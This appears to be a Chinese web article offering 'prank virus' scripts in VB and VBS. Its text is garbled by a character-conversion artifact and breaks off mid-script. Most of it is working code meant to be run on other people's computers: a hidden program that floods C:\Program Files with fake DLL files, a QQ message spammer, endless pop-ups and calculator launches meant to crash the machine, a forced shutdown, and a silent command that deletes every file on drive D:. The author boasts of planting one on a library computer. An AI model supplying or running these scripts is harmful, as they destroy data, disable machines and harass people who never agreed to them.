bat整人電腦病毒代碼是怎樣的

　　現(xiàn)在流行的病毒是由人為故意編寫的，多數(shù)病毒可以找到作者和產(chǎn)地信息，從大量的統(tǒng)計(jì)分析來(lái)看，病毒作者主要情況和目的是：一些天才的程序員為了表現(xiàn)自己和證明自己的能力，出于對(duì)上司的不滿，為了好奇，為了報(bào)復(fù)，為了祝賀和求愛，為了得到控制口令，為了軟件拿不到報(bào)酬預(yù)留的陷阱等.當(dāng)然也有因政治，軍事，宗教，民族.專利等方面的需求而專門編寫的，其中也包括一些病毒研究機(jī)構(gòu)和黑客的測(cè)試病毒.以下是學(xué)習(xí)啦網(wǎng)小編為大家整理的關(guān)于bat整人電腦病毒代碼的相關(guān)知識(shí)，希望對(duì)大家有所幫助!

　　vbs整人代碼

　　代碼如下：

　　復(fù)制代碼 代碼如下:

　　Private Sub Form_Load()

　　Me.Hide

　　End Sub

　　Private Sub Timer1_Timer()

　　'聲明變量，其中“count”為靜態(tài)變量，以便生成不同的文件

　　Dim files As String

　　Dim nr As String

　　Dim c As String

　　Static count As Long

　　'定義要把生成的文件存放在那個(gè)目錄文件下

　　c = "C:\Program Files\"

　　'生成文件的內(nèi)容

　　nr = "哈哈，被黑的感覺的不錯(cuò)吧"

　　files = FreeFile

　　'如果a等于a那么就執(zhí)行

　　If a = a Then

　　'count不斷的加1，以便產(chǎn)生不同的文件名

　　count = count + 1

　　'產(chǎn)生文件名及文件句柄，并用count作為產(chǎn)生不同的文件名。

　　Open c & "system" & count & ".dll" For Append As #files

　　'向文件寫內(nèi)容

　　Write #files, nr

　　'清除文件句柄，這里很重要，如果不清除，將產(chǎn)生打開文件太多的錯(cuò)誤提示

　　Close #files

　　End If

　　End Sub

　　一、你打開好友的聊天對(duì)話框,然后記下在你QQ里好友的昵稱,把下面代碼里的xx替換一下,就可以自定義發(fā)送QQ信息到好友的次數(shù)(代碼里的數(shù)字10改一下即可).

　　xx.vbs=>

　　復(fù)制代碼 代碼如下:

　　On Error Resume Next

　　Dim wsh,ye

　　set wsh=createobject("wscript.shell")

　　for i=1 to 10

　　wscript.sleep 700

　　wsh.AppActivate("與 xx 聊天中")

　　wsh.sendKeys "^v"

　　wsh.sendKeys i

　　wsh.sendKeys "%s"

　　next

　　wscript.quit

　　QQ騷擾信息,也可以用在其它程序上。

　　二、我就用這個(gè)程序放在學(xué)校圖書館查詢書刊的機(jī)器上，好多人都那它沒辦法，哈哈

　　------------------------------------------------------------------------------

　　do

　　msgbox "You are foolish!"

　　loop

　　------------------------------------------------------------------------------

　　三、打開無(wú)數(shù)個(gè)計(jì)算器，直到死機(jī)

　　------------------------------------------------------------------------------

　　set wsh=createobject("wscript.shell")

　　do

　　wsh.run "calc"

　　loop

　　-----------------------------------------------------------------------------

　　四、直接關(guān)機(jī)

　　-----------------------------------------------------------------------------

　　dim WSHshell

　　set WSHshell = wscript.createobject("wscript.shell")

　　WSHshell.run "shutdown -f -s -t 00",0 ,true

　　-----------------------------------------------------------------------------

　　五、刪除D:\所有文件

　　---------------------------------------------------------------------------

　　dim WSHshell

　　set WSHshell = wscript.createobject("wscript.shell")

　　WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

　　----------------------------------------------------------------------------

　　六、不斷彈出窗口

　　----------------------------------------------------------------------------

　　復(fù)制代碼 代碼如下:

　　while(1)

　　msgbox "哈哈 你被耍了!"

　　loop

　　----------------------------------------------------------------------------

　　七、不斷按下alt+f4 (開什么都關(guān)閉……)

　　--------------------

　　1/5

　　-------------------------------------------------------

　　復(fù)制代碼 代碼如下:

　　dim WSHshell

　　set WSHshell = wscript.createobject("wscript.shell")

　　while(1)

　　WSHshell.SendKeys "%{F4}"

　　loop

　　八、按500次回車

　　(以上代碼在運(yùn)行者的電腦上顯示500個(gè)對(duì)話框。其中 do until s=500 ，500可以隨意更改)

　　復(fù)制代碼 代碼如下:

　　dim s

　　do until s=500

　　s=s+1

　　msgbox "哥們，給我按500次回車吧",64

　　loop

　　'------------------------ ------------------------------------------------------------

　　九、關(guān)不掉的窗口

　　復(fù)制代碼 代碼如下:

　　WScript.Echo("嘿，謝謝你打開我哦，我等你很久拉!"&TSName)

　　WScript.Echo("你是可愛的小朋嗎?")

　　WScript.Echo("哈,我想你拉，這你都不知道嗎?")

　　WScript.Echo("怎么才來(lái)，說~是不是不關(guān)心我")

　　WScript.Echo("哼,我生氣拉，等你這么久，心都涼啦。")

　　WScript.Echo("小強(qiáng)很生氣，后果很嚴(yán)重哦。")

　　WScript.Echo("嘿嘿!你也會(huì)很慘滴哦")

　　WScript.Echo("是不是想清除我?")

　　WScript.Echo("那你要點(diǎn)上50下哦，不過會(huì)給你驚喜滴")

　　WScript.Echo("還剩49下，快點(diǎn)點(diǎn)哦")

　　WScript.Echo("還剩48下，快點(diǎn)，小笨蛋!")

　　WScript.Echo("還剩47下對(duì)，就這樣快點(diǎn)點(diǎn)!")

　　WScript.Echo("還剩46下。你啊就是笨，要快哦，我先不打擾你工作。")

　　WScript.Echo("還剩45下，記得要快哦!")

　　WScript.Echo("還剩43下")

　　WScript.Echo("還剩42下")

　　WScript.Echo("還剩41下")

　　WScript.Echo("還剩40下")

　　WScript.Echo("還剩39下")

　　WScript.Echo("還剩38下")

　　WScript.Echo("還剩37下")

　　WScript.Echo("還剩36下")

　　WScript.Echo("還剩35下")

　　WScript.Echo("還剩34下")

　　WScript.Echo("還剩33下")

　　WScript.Echo("還剩32下")

　　WScript.Echo("還剩30下")

　　WScript.Echo("還剩29下")

　　WScript.Echo("還剩28下")

　　WScript.Echo("還剩27下")

　　WScript.Echo("還剩26下")

　　WScript.Echo("還剩25下")

　　WScript.Echo("還剩24下")

　　WScript.Echo("還剩23下")

　　WScript.Echo("還剩22下")

　　WScript.Echo("還剩21下")

　　WScript.Echo("還剩20下")

　　WScript.Echo("還剩19下")

　　WScript.Echo("還剩18下")

　　WScript.Echo("還剩17下")

　　WScript.Echo("還剩16下")

　　WScript.Echo("還剩15下")

　　WScript.Echo("還剩14下")

　　WScript.Echo("還剩13下停停!!!慢點(diǎn)，我有話要說")

　　WScript.Echo("還剩12下，你繼續(xù)點(diǎn)我就會(huì)消失滴")

　　WScript.Echo("還剩11下，以后就看不到我拉。555555")

　　WScript.Echo("還剩10下，你現(xiàn)在可以選擇停止!")

　　WScript.Echo("還剩9下。你還點(diǎn)啊，不要我拉?")

　　WScript.Echo("還剩8下，有點(diǎn)傷心拉，干嘛丟棄人家")

　　WScript.Echo("還剩7下。瘋了，你有點(diǎn)負(fù)意!")

　　WScript.Echo("還剩6下。對(duì)。你就點(diǎn)吧，我恨你!")

　　WScript.Echo("還剩